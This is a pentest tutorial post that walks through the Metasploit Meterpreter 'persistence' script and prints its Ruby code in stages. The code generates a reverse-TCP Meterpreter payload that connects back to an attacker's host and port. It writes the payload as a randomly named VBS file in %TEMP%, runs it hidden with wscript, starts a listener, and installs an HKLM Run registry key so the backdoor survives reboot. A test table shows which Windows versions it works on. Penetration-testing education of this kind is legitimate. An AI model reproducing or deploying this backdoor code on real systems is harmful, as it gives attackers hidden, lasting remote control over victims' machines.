Meterpreter Persistance

One of the tasks once a pentester gains access to a system in retaining such access, for this HD Moore wrote a great Meterpreter script called persistence, this script is truly unique since it generates it own payload, uploads the payload and configures it in such a manner to provide the attacker with a way back in to the system.

To see the options available with this script just run the script with the –h option:

   1: meterpreter > run persistence -h
   2:  
   3: OPTIONS:
   4:  
   5:     -A        Automatically start a matching multi/handler to connect to the agent
   6:     -X        Automatically start the agent when the system boots
   7:     -h        This help menu
   8:     -i <opt>  The interval in seconds between each connection attempt
   9:     -p <opt>  The port on the remote host where Metasploit is listening
  10:     -r <opt>  The IP of the system running Metasploit listening for the connect back

I will discuss the options as they are executed in the code.

The first thing the code will do is generate the payload that will be used on the target machine, the code is as follows:

  1: #
  2: # Create the persistent VBS
  3: #
  4: 
  5: print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
  6: pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
  7: pay.datastore['LHOST'] = rhost
  8: pay.datastore['LPORT'] = rport
  9: raw  = pay.generate
 10: 
 11: vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
 12: print_status("Persistent agent script is #{vbs.length} bytes long")

The options used are:

  • -i for the interval in which the payload should be executed, it has a default value of 5 seconds.
  • -p for the port where the host is listening for the connection. This port is important since it has to be a port that must be open between the target and the attackers system. The default value is 4444.
  • -r is the host IP address for where the connection should connect back to, this is very useful if we want the connection to go to another system like a server on a hosted infrastructure, that already has a multi handler listening for the connection to come. The default is the IP of the host from where it is being ran from.

Line 5 you see a message printed where we see the values of the variables that will be used . In line 6 we set an object that is our payload called pay and the payload specified is a reverse TCP Meterpreter payload, from lines 7 and 8 we set the variables for this specific payload and we generate a Raw payload. On line 11 we use the same calls used by msfencode to encode a vbs_loop payload and the delay is set. The generated vbscript is saved in the variable. Then on line 12 we print out the size of our payload. This code can be used to generate other payloads, to get a list in msfconsole run the irb command and in it you can execute the API call for framework.payloads to get the list or just run msfpayload –h. For the encodings I do suggest that you take a look at the code in msfencode to get other possible encodes and ideas for your own scripts

The next action taken is uploading the payload to the target system the code bellow shows how this script does it:

  1: #
  2: # Upload to the filesystem
  3: #
  4: 
  5: tempdir = client.fs.file.expand_path("%TEMP%")
  6: tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
  7: fd = client.fs.file.new(tempvbs, "wb")
  8: fd.write(vbs)
  9: fd.close
 10: 
 11: print_status("Uploaded the persistent agent to #{tempvbs}")

In line 5 we can see that the temp directory for the account under the Meterpreter is running under by expanding the Windows %TEMP% variable. In line 6 we append the temp directory to a randome generated file name and append the extension .vbs, the appending of the extension is very importantant since wscript and cscript in Windows depend on the extension so as to know how to parse the script and execute it. From line 7 to 9 we create the file directly on the target system and we write the content of the variable holding the vbs code in to the file and we close it, thus creating the script on the target.

The next step is to execute the vbs script. The code us shown bellow:

  1: #
  2: # Execute the agent
  3: #
  4: proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
  5: print_status("Agent executed with PID #{proc.pid}")

In line 4 we execute the script using wscript and we execute the process as hidden from the user on the box, in line 5 we print the PID (Process ID) for the process.

Lets take a look at the first option of –A this option will start a multi handler to receive the connection back from the payload this useful when the connection is back to the attacker machine one would set the connection on a different port and migrate such connection to a different process so in the case of process failure the connection to the target machine is not lost. The code to build this multi handler follows:

  1: #
  2: # Setup the multi/handler if requested
  3: #
  4: if(autoconn)
  5: 	mul = client.framework.exploits.create("multi/handler")
  6: 	mul.datastore['PAYLOAD']   = "windows/meterpreter/reverse_tcp"
  7: 	mul.datastore['LHOST']     = rhost
  8: 	mul.datastore['LPORT']     = rport
  9: 	mul.datastore['EXITFUNC']  = 'process'
 10: 	mul.datastore['ExitOnSession'] = false
 11: 
 12: 	mul.exploit_simple(
 13: 		'Payload'        => mul.datastore['PAYLOAD'],
 14: 		'RunAsJob'       => true
 15: 	)
 16: end

As it can be seen the code is extremely simple to read thus making it very re-usable for other scripts one might have, if you have used msfconsole before to build a multi handler this code merits little explanation. One could easily add a AutoRunScript after line 10 if one so wishes to have a custom one or set is as an option for the script it self.

If we selected the –X option to have the payload run when the computer start, then the code below is executed:

  1: #
  2: # Make the agent restart on boot
  3: #
  4: if(install)
  5: 	nam = Rex::Text.rand_text_alpha(rand(8)+8)
  6: 	print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
  7: 	key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)
  8: 	if(key)
  9: 		key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
 10: 		print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
 11: 	else
 12: 		print_status("Error: failed to open the registry key for writing")
 13: 	end
 14: end

In line 5 we create a random number that will be used for the registry key that in line 7 will created in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. In line 8 a REG_SZ value is created with the path to our script, if it fails we will be informed.

I tested this script in a series of system and I do have to say that what surprised me is that the first part ran with out a single problem in the following system and privileges:

OS

System

Administrator

Network Service

Regular User

Windows XP

Ran

Ran

Ran

Ran

Windows 2003

Ran

Ran

Ran

Ran

Windows Vista

Ran

Ran

Ran

Ran

Windows 2008

Ran

Ran

Ran

Ran

Windows 2008 R2

Ran

Ran

Ran

Ran

Windows 7

Ran

Ran

Ran

Ran

 

This where default systems and those that have UAC it was enabled.  Now on those systems where we set up the payload to run at start up only failed on those with UAC and running and not running as System, also failed on those running as Network Service and as a regular user in the Users group. I would also recommend that you take a look at the scheduleme script for others ideas for persistence and for privilege escalation in certain systems, it will also let you schedule it with more options, but it is also only present win Windows 2003 and present Windows versions and not in the Home Editions of Windows XP, it also suffers from the same limitation when UAC is enabled.